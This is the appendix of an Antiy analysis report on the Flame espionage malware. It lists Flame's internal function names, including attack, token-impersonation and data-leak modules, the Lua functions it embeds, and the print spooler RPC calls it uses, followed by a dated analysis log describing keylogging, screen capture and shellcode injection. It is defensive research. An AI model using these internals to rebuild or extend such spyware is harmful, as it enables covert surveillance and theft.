"<|oOo|>flame::lua::ConfigurationPackage::setListElement<|oOo|>526<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::remove<|oOo|>394<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>224<|oOo|>"
"<|oOo|>flame::lua::SockPackage::LuaSockServices::connect<|oOo|>1909<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>356<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::getSubKeys<|oOo|>428<|oOo|>"
"<|oOo|>flame::lua::LuaState::luaHook<|oOo|>221<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>163<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::pushLuaObjectFromKeyValue<|oOo|>669<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>222<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>346<|oOo|>"
"<|oOo|>flame::lua::LuaState::luaHook<|oOo|>226<|oOo|>"
"<|oOo|>flame::lua::FileIOPackage::del<|oOo|>802<|oOo|>"
"<|oOo|>flame::lua::LeakPackage::reportLeakCompletion<|oOo|>2125<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>328<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>322<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>236<|oOo|>"
"<|oOo|>flame::lua::SockPackage::LuaSockServices::recv<|oOo|>1818<|oOo|>"
"<|oOo|>flame::cruise::CruisePackage::getUserLocalGroups<|oOo|>252<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>332<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>150<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::set<|oOo|>367<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>235<|oOo|>"
"<|oOo|>flame::lua::SockPackage::LuaSockServices::recv<|oOo|>1792<|oOo|>"
"<|oOo|>flame::lua::FlameOSPackage::defaultGateway<|oOo|>1212<|oOo|>"
"<|oOo|>flame::lua::LuaState::argAsBuffer<|oOo|>166<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>219<|oOo|>"
"<|oOo|>flame::impersonator::ImpersonatePackage::getTokenByUser<|oOo|>198<|oOo|>"
"<|oOo|>flame::lua::StoragePackage::getStorageMap<|oOo|>2000<|oOo|>"
"<|oOo|>flame::lua::SockPackage::LuaSockServices::send<|oOo|>1686<|oOo|>"
"<|oOo|>flame::lua::LeakPackage::getLeak<|oOo|>2049<|oOo|>"
"<|oOo|>flame::lua::FileIOPackage::copy<|oOo|>846<|oOo|>"
"<|oOo|>flame::lua::ZlibPackage::uncompress<|oOo|>2179<|oOo|>"
"<|oOo|>flame::lua::StoragePackage::getStorageMap<|oOo|>1997<|oOo|>"
"<|oOo|>flame::dbquery::DbQueryPackage::executeQueries<|oOo|>143<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>330<|oOo|>"
"<|oOo|>flame::cruise::CruisePackage::getLocalGroupMembers<|oOo|>108<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>220<|oOo|>"
"<|oOo|>flame::lua::FlameOSPackage::defaultGateway<|oOo|>1215<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>225<|oOo|>"
"<|oOo|>flame::impersonator::ImpersonatePackage::getCurrentToken<|oOo|>173<|oOo|>"
"<|oOo|>flame::lua::LeakPackage::getLeak<|oOo|>2062<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>343<|oOo|>"
"<|oOo|>flame::lua::FlameOSPackage::DHCPAddress<|oOo|>1235<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>161<|oOo|>"
"<|oOo|>flame::lua::FileIOPackage::truncate<|oOo|>821<|oOo|>"
"<|oOo|>flame::lua::FileIOPackage::move<|oOo|>876<|oOo|>"
"<|oOo|>flame::cruise::CruisePackage::getLocalGroups<|oOo|>82<|oOo|>"
"<|oOo|>flame::lua::StoragePackage::save<|oOo|>1981<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::getType<|oOo|>300<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::audition<|oOo|>217<|oOo|>"
"<|oOo|>flame::clan::WmiPackage::getNextResult<|oOo|>465<|oOo|>"
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>318<|oOo|>"
"<|oOo|>flame::impersonator::ImpersonatePackage::getCurrentToken<|oOo|>168<|oOo|>"
"<|oOo|>flame::lua::LuaState::argAsStringsMap<|oOo|>153<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>151<|oOo|>"
"<|oOo|>flame::lua::ConfigurationPackage::setFromStack<|oOo|>709<|oOo|>"
"<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>152<|oOo|>"
"<|oOo|>flame::lua::FlameOSPackage::domainName<|oOo|>1193<|oOo|>"
|
附表七
表 5-7为Mssecmgr.ocx文件中使用Lua脚本函数列表内容
luaB_cocreate
luaB_collectgarbage
luaB_coresume
luaB_cowrap
luaB_error
luaB_gcinfo
luaB_getfenv
luaB_getmetatable
luaB_ipairs
luaB_load
luaB_loadstring
luaB_newproxy
luaB_next
luaB_pairs
luaB_pcall
luaB_rawequal
luaB_rawget
luaB_rawset
luaB_select
luaB_setfenv
luaB_setmetatable
luaB_tonumber
luaB_tostring
luaB_type
luaB_unpack
luaB_xpcall
luaD_call
luaD_reallocCI
luaD_throw
|
luaG_runerror
luaG_typeerror
luaI_openlib
luaL_addlstring
luaL_addvalue
luaL_argerror
luaL_checkany
luaL_checkinteger
luaL_checklstring
luaL_checknumber
luaL_checkoption
luaL_checktype
luaL_checkudata
luaL_error
luaL_findtable
luaL_getmetafield
luaL_newmetatable
luaL_optlstring
luaL_prepbuffer
luaL_pushresult
luaL_typerror
luaL_where
luaS_newlstr
luaT_gettmbyobj
luaV_settable
lua_addk
lua_adjuststack
lua_assignment
lua_aux_close
|
lua_auxopen
lua_auxresume
lua_base_open
lua_body
lua_breakstat
lua_concat
lua_createmeta
lua_createstdfile
lua_createtable
lua_db_errorfb
lua_db_getinfo
lua_emptybuffer
lua_enterlevel
lua_errorlimit
lua_f_flush
lua_f_read
lua_f_seek
lua_f_setvbuf
lua_f_write
lua_fflush
lua_fixjump
lua_forlist
lua_fornum
lua_funcargs
lua_funcinfo
lua_g_read
lua_g_write
lua_getcurrenv
lua_getfenv
|
lua_getfield
lua_getfunc
lua_getinfo
lua_getobjname
lua_getstack
lua_getthread
lua_index2adr
lua_indexupvalue
lua_insert
lua_io_close
lua_io_fclose
lua_io_gc
lua_io_open
lua_io_pclose
lua_io_readline
lua_io_tostring
lua_io_type
lua_ipairsaux
lua_isnumber
lua_load_aux
lua_luaK_checkstack
lua_luaK_code
lua_luaopen_base
lua_luaopen_debug
lua_luaopen_io
lua_luaopen_math
lua_luaopen_os
lua_luaopen_string
lua_luaopen_table
|
lua_new_localvar
lua_newfile
lua_newuserdata
lua_panic
lua_parlist
lua_prefixexp
lua_pushcclosure
lua_pushclosure
lua_pushfstring
lua_pushlstring
lua_pushresult
lua_pushvalue
lua_recfield
lua_registerlocalvar
lua_remove
lua_setfield
lua_setmetatable
lua_settabsi
lua_settabss
lua_settop
lua_simpleexp
lua_tag_error
lua_tofile
lua_tointeger
lua_tonumber
lua_treatstackoption
lua_type
lua_typename
lua_yield
|
表 57为Mssecmgr.ocx文件中使用Lua脚本函数列表内容
luaB_cocreate
luaB_collectgarbage
luaB_coresume
luaB_cowrap
luaB_error
luaB_gcinfo
luaB_getfenv
luaB_getmetatable
luaB_ipairs
luaB_load
luaB_loadstring
luaB_newproxy
luaB_next
luaB_pairs
luaB_pcall
luaB_rawequal
luaB_rawget
luaB_rawset
luaB_select
luaB_setfenv
luaB_setmetatable
luaB_tonumber
luaB_tostring
luaB_type
luaB_unpack
luaB_xpcall
luaD_call
luaD_reallocCI
luaD_throw
luaG_runerror
luaG_typeerror
luaI_openlib
luaL_addlstring
luaL_addvalue
luaL_argerror
luaL_checkany
luaL_checkinteger
luaL_checklstring
luaL_checknumber
luaL_checkoption
luaL_checktype
luaL_checkudata
luaL_error
luaL_findtable
luaL_getmetafield
luaL_newmetatable
luaL_optlstring
luaL_prepbuffer
luaL_pushresult
luaL_typerror
luaL_where
luaS_newlstr
luaT_gettmbyobj
luaV_settable
lua_addk
lua_adjuststack
lua_assignment
lua_aux_close
lua_auxopen
lua_auxresume
lua_base_open
lua_body
lua_breakstat
lua_concat
lua_createmeta
lua_createstdfile
lua_createtable
lua_db_errorfb
lua_db_getinfo
lua_emptybuffer
lua_enterlevel
lua_errorlimit
lua_f_flush
lua_f_read
lua_f_seek
lua_f_setvbuf
lua_f_write
lua_fflush
lua_fixjump
lua_forlist
lua_fornum
lua_funcargs
lua_funcinfo
lua_g_read
lua_g_write
lua_getcurrenv
lua_getfenv
lua_getfield
lua_getfunc
lua_getinfo
lua_getobjname
lua_getstack
lua_getthread
lua_index2adr
lua_indexupvalue
lua_insert
lua_io_close
lua_io_fclose
lua_io_gc
lua_io_open
lua_io_pclose
lua_io_readline
lua_io_tostring
lua_io_type
lua_ipairsaux
lua_isnumber
lua_load_aux
lua_luaK_checkstack
lua_luaK_code
lua_luaopen_base
lua_luaopen_debug
lua_luaopen_io
lua_luaopen_math
lua_luaopen_os
lua_luaopen_string
lua_luaopen_table
lua_new_localvar
lua_newfile
lua_newuserdata
lua_panic
lua_parlist
lua_prefixexp
lua_pushcclosure
lua_pushclosure
lua_pushfstring
lua_pushlstring
lua_pushresult
lua_pushvalue
lua_recfield
lua_registerlocalvar
lua_remove
lua_setfield
lua_setmetatable
lua_settabsi
lua_settabss
lua_settop
lua_simpleexp
lua_tag_error
lua_tofile
lua_tointeger
lua_tonumber
lua_treatstackoption
lua_type
lua_typename
lua_yield
Interface
|
Operation number
|
Operation name
|
Windows API
|
12345678-1234-abcd-ef00-0123456789ab
v1.0: winspool (spoolss)
|
|
|
|
|
0x00
|
RpcEnumPrinters
|
|
|
0x01
|
RpcOpenPrinter
|
|
|
0x02
|
RpcSetJob
|
|
|
0x03
|
RpcGetJob
|
|
|
0x04
|
RpcEnumJobs
|
|
|
0x05
|
RpcAddPrinter
|
|
|
0x06
|
RpcDeletePrinter
|
|
|
0x07
|
RpcSetPrinter
|
|
|
0x08
|
RpcGetPrinter
|
|
|
0x09
|
RpcAddPrinterDriver
|
|
|
0x0a
|
RpcEnumPrinterDrivers
|
|
|
0x0b
|
RpcGetPrinterDriver
|
|
|
0x0c
|
RpcGetPrinterDriverDirectory
|
|
|
0x0d
|
RpcDeletePrinterDriver
|
|
|
0x0e
|
RpcAddPrintProcessor
|
|
|
0x0f
|
RpcEnumPrintProcessors
|
|
|
0x10
|
RpcGetPrintProcessorDirectory
|
|
|
0x11
|
RpcStartDocPrinter
|
|
|
0x12
|
RpcStartPagePrinter
|
|
|
0x13
|
RpcWritePrinter
|
|
|
0x14
|
RpcEndPagePrinter
|
|
|
0x15
|
RpcAbortPrinter
|
|
|
0x16
|
RpcReadPrinter
|
|
|
0x17
|
RpcEndDocPrinter
|
|
|
0x18
|
RpcAddJob
|
|
|
0x19
|
RpcScheduleJob
|
|
|
0x1a
|
RpcGetPrinterData
|
|
|
0x1b
|
RpcSetPrinterData
|
|
|
0x1c
|
RpcWaitForPrinterChange
|
|
|
0x1d
|
RpcClosePrinter
|
|
|
0x1e
|
RpcAddForm
|
|
|
0x1f
|
RpcDeleteForm
|
|
|
0x20
|
RpcGetForm
|
|
|
0x21
|
RpcSetForm
|
|
|
0x22
|
RpcEnumForms
|
|
|
0x23
|
RpcEnumPorts
|
|
|
0x24
|
RpcEnumMonitors
|
|
|
0x25
|
RpcAddPort
|
|
|
0x26
|
RpcConfigurePort
|
|
|
0x27
|
RpcDeletePort
|
|
|
0x28
|
RpcCreatePrinterIC
|
|
|
0x29
|
RpcPlayGdiScriptOnPrinterIC
|
|
|
0x2a
|
RpcDeletePrinterIC
|
|
|
0x2b
|
RpcAddPrinterConnection
|
|
|
0x2c
|
RpcDeletePrinterConnection
|
|
|
0x2d
|
RpcPrinterMessageBox
|
|
|
0x2e
|
RpcAddMonitor
|
|
|
0x2f
|
RpcDeleteMonitor
|
|
|
0x30
|
RpcDeletePrintProcessor
|
|
|
0x31
|
RpcAddPrintProvidor
|
|
|
0x32
|
RpcDeletePrintProvidor
|
|
|
0x33
|
RpcEnumPrintProcessorDatatypes
|
|
|
0x34
|
RpcResetPrinter
|
|
|
0x35
|
RpcGetPrinterDriver2
|
|
|
0x36
|
RpcClientFindFirstPrinterChangeNotification
|
|
|
0x37
|
RpcFindNextPrinterChangeNotification
|
|
|
0x38
|
RpcFindClosePrinterChangeNotification
|
|
|
0x39
|
RpcRouterFindFirstPrinterChangeNotificationOld
|
|
|
0x3a
|
RpcReplyOpenPrinter
|
|
|
0x3b
|
RpcRouterReplyPrinter
|
|
|
0x3c
|
RpcReplyClosePrinter
|
|
|
0x3d
|
RpcAddPortEx
|
|
|
0x3e
|
RpcRemoteFindFirstPrinterChangeNotification
|
|
|
0x3f
|
RpcSpoolerInit
|
|
|
0x40
|
RpcResetPrinterEx
|
|
|
0x41
|
RpcRemoteFindFirstPrinterChangeNotificationEx
|
|
|
0x42
|
RpcRouterReplyPrinterEx
|
|
|
0x43
|
RpcRouterRefreshPrinterChangeNotification
|
|
|
0x44
|
RpcSetAllocFailCount
|
|
|
0x45
|
RpcSplOpenPrinter
|
|
|
0x46
|
RpcAddPrinterEx
|
|
|
0x47
|
RpcSetPort
|
|
|
0x48
|
RpcEnumPrinterData
|
|
|
0x49
|
RpcDeletePrinterData
|
|
|
0x4a
|
RpcClusterSplOpen
|
|
|
0x4b
|
RpcClusterSplClose
|
|
|
0x4c
|
RpcClusterSplIsAlive
|
|
|
0x4d
|
RpcSetPrinterDataEx
|
|
|
0x4e
|
RpcGetPrinterDataEx
|
|
|
0x4f
|
RpcEnumPrinterDataEx
|
|
|
0x50
|
RpcEnumPrinterKey
|
|
|
0x51
|
RpcDeletePrinterDataEx
|
|
|
0x52
|
RpcDeletePrinterKey
|
|
|
0x53
|
RpcSeekPrinter
|
|
|
0x54
|
RpcDeletePrinterDriverEx
|
|
|
0x55
|
RpcAddPerMachineConnection
|
|
|
0x56
|
RpcDeletePerMachineConnection
|
|
|
0x57
|
RpcEnumPerMachineConnections
|
|
|
0x58
|
RpcXcvData
|
|
|
0x59
|
RpcAddPrinterDriverEx
|
|
|
0x5a
|
RpcSplOpenPrinter
|
|
|
0x5b
|
RpcGetSpoolFileInfo
|
|
|
0x5c
|
RpcCommitSpoolData
|
|
|
0x5d
|
RpcCloseSpoolFileHandle
|
|
|
0x5e
|
RpcFlushPrinter
|
|
>
Windows XP and Windows Server 2003
|
0x5f
|
RpcSendRecvBidiData
|
|
|
0x60
|
RpcAddDriverCatalog
|
|
>
Windows Vista
|
0x61
|
RpcAddPrinterConnection2
|
|
|
0x62
|
RpcDeletePrinterConnection2
|
|
|
0x63
|
RpcInstallPrinterDriverFromPackage
|
|
|
0x64
|
RpcUploadPrinterDriverPackage
|
|
|
0x65
|
RpcGetCorePrinterDrivers
|
|
|
0x66
|
RpcCorePrinterDriverInstalled
|
|
|
0x67
|
RpcGetPrinterDriverPackagePath
|
|
|
0x68
|
RpcReportJobProcessingProgress
|
|
附录一:参考资料
http://www.wired.com/threatlevel/2011/07/how-digital-detectives-deciphered-stuxnet/all/
http://blogs.mcafee.com/uncategorized/skywiper-fanning-the-flames-of-cyber-warfare
http://www.securelist.com/en/blog/208193538/Flame_Bunny_Frog_Munch_and_BeetleJuice
http://technet.microsoft.com/en-us/library/cc963218.aspx
http://blog.crysys.hu/2012/06/analysis-of-flame-wusetupv-exe-url-parameters/
附录二:文档更新日志
更新日期
|
更新版本
|
更新内容
|
2012-5-31
|
V1.1.0
|
在拿到主模块后开始分析,简单分析了主模块的一些行为,并继续收集有关的样本。
|
2012-6-5
|
V1.1.1
|
针对主模块进行详细分析,并开始分析其它各模块。本次更新了Soapr32.ocx的分析。其中字符串采用了加密混淆的方式。
|
2012-6-8
|
V1.1.2
|
本次更新了对Msglu32.ocx的分析,此模块会查找系统中的一些文件类型。如:office各种格式文档(包括docx、xlsx、pptx等) 以及其它类型文件。主模块更新了部分内容。其中字符串加密和Soapr32.ocx很相似。
|
2012-6-11
|
V1.1.3
|
本次更新了对Nteps32.ocx的分析,此模块功能有键盘记录和截取屏幕信息,所记录的信息都是通过加密的。具体加密方式还在分析中。更新部分主模块的分析。
|
2012-6-15
|
V1.1.4
|
本次更新了对Advntcfg.ocx的分析,该模块的主要功能是截取屏幕信息和收集系统中的其它信息。其中字符串加密和Nteps32.ocx的加密是用的同一种方法,参数都是相同的。
|
2012-6-18
|
V1.1.5
|
对主模块的持续更新中,修正了部分其它模块的分析和内容。
|
2012-6-23
|
V1.1.6
|
对这前几个模块的字符串加密码进行了总结,和对主模块的部分内容更新,并收集其它模块。
|
2012-7-2
|
V1.1.7
|
本次更新修改了之前版本的几处问题,还有几处没有修改完明天应全部修改完。今天新增主模块部分分析、各模块字符串加密对照表,还有两个模块在分析中。
|
2012-7-4
|
V1.1.8
|
本次新增了文件功能表、所有衍生文件表和Browse32.ocx模块分析,修改了各模块字符串解密表。给出遍历进程列表中的文件说明。
|
2012-7-5
|
V1.1.9
|
新增Lua脚本调用函数列表107个,见附录6,其它模块还在分析中。
|
2012-7-6
|
V1.2.0
|
Flame 中发现Lua模块的静态编译版本和原始文模块内容相同,还新增了主模块部分新分析出来的内容。
|
2012-7-9
|
V1.2.1
|
在主模块中整理出来的Lua函数,还有一些没分析出来,还在分析中。在主模块中找出Lnk文件漏洞创建的Inf文件内容。多处加密码算法还在验证是什么算法。
|
2012-7-10
|
V1.2.2
|
更新证明Lua函数如何调用,Jimmy.dll模块在分析中,主模块多处加密码算法还在验证中。
|
2012-7-11
|
V1.2.3
|
更新Flame运行后整体过程,还有一些在整理。新加Jimmy.dll模块分析,确定了病毒中使用的Lua版本为5.1,而Lua 5.1版本发布的时间为2006年2月21日,这也证明了Flame的开发时间应为2006年2月21日之后。
|
2012-7-12
|
V1.2.4
|
发现Flame中的这些被包含在结构中的函数为Debug版,并对Lua中的Debug版进行了对照,结果是完全一样的。
|
2012-7-13
|
V1.2.5
|
在主模块中分析出来一些Lua用的函数,有近150个函数可见附录七。
|
2012-7-16
|
V1.2.6
|
Lua函数调用还在分析中,今天在内存中找到了一些类似像结构或是类东西,总共有4000多个。
|
2012-7-17
|
V1.2.7
|
把DES算法部分证实了,发现调用函数中有16处循环计算表达式,是DES加密算法的明显特征。计算出每个数值后,后面的异或操作也和DES算法的计算方式匹配。
|
2012-7-18
|
V1.2.8
|
主模块加载资源到内存,进行简单异或解密,首先传入DB DF AC A2 作为文件头,然后对资源逐字节解密。
|
2012-7-19
|
V1.2.9
|
经过对Flame调用Lua函数的分析总结发现Flame调用Lua脚本的方式。首先程序在初始化过程中在Lua环境内创建一些表,然后在这些表中保存Key,Value形式的键值对,后续通过获取指定的表,然后将表中指定的Key的值取出来,作为Lua代码执行。
|
2012-7-20
|
V1.3.0
|
Lua函数解密部分还在分析中,分析00004069.exe文件和Boot32drv.sys为同一文件,并在创建的一个服务中调用。其服务在创建完服务后直接将其启动,并加载一些文件后删除此服务。
|
2012-8-07
|
V1.4.1
|
分析发现加密字符串中存在有关虚拟打印机相关字符串, 和大量用作PDF转换的相关软件的名字,推测为判断本机是否安装此类软件,可能会利用这些软件进行转换操作。
并且发现Flame通过RPC调用Windows后台处理程序,实现特定功能。
|
2012-8-08
|
V1.4.2
|
分析发现新的解密函数两个,其使用的解密算法与先前发现的一致,但是通过对这两个新发现的解密函数进行交叉索引可以解密大量之前未发现的字符串,待后续分析其加密字符串作用。
|
2012-8-09
|
V1.4.3
|
今天主要对Flame昨天解密出来的字符串及字符串的索引,使用进行分析,发现一些可能的推测。正在进行分析验证。
|
2012-8-10
|
V1.4.4
|
主要分析Flame中环境依赖部分,分析为什么在调试过程中程序无法完整运行。
|
2012-8-11
|
V1.4.5
|
今天因做用户C给的样本与Gauss对比分析,所以flame今天暂无进展。
|
2012-8-14
|
V1.4.6
|
今天对Fame注入到Services.exe进程中的Shell Code提取,并按注入顺序及相对位置进行合并,然后通过双机内核调试Shell Code.
主要发现,Shell Code的主函数的参数为一个函数表,表中应为Shell Code后续功能需要的函数。
|
2012-8-15
|
V1.4.7
|
对Flame注入到Services.exe进程中的Shell Code进行分析发现,其将Mssecmgr.ocx模块伪装为Shell32.dll模块加载的实现方式。
|
2012-8-16
|
V1.4.8
|
今天因其它分析任务,所以Flame搁置一天。
|
2012-8-17
|
V1.4.9
|
今天对Caromspol32.ocx模块进行分析,分析中发现很多地方与Nteps32.ocx相同。如键盘记录和截取屏幕信息,监控的ULR地址等地方。
|
附录三:关于安天
安天从反病毒引擎研发团队起步,目前已发展成为拥有四个研发中心、监控预警能力覆盖全国、产品与服务辐射多个国家的先进安全产品供应商。安天历经十五年持续积累,形成了海量安全威胁知识库,并综合应用网络检测、主机防御、未知威胁鉴定、大数据分析、安全可视化等方面经验,推出了应对持续、高级威胁(APT)的先进产品和解决方案。安天技术实力得到行业管理机构、客户和伙伴的认可,安天已连续四届蝉联国家级安全应急支撑单位资质,亦是CNNVD六家一级支撑单位之一。安天移动检测引擎是获得全球首个AV-TEST(2013)年度奖项的中国产品,全球超过十家以上的著名安全厂商都选择安天作为检测能力合作伙伴。
关于安天反病毒引擎更多信息请访问: |
http://www.antiy.com(中文) |
关于安天反APT相关产品更多信息请访问: |
微信扫描关注 安天 |
|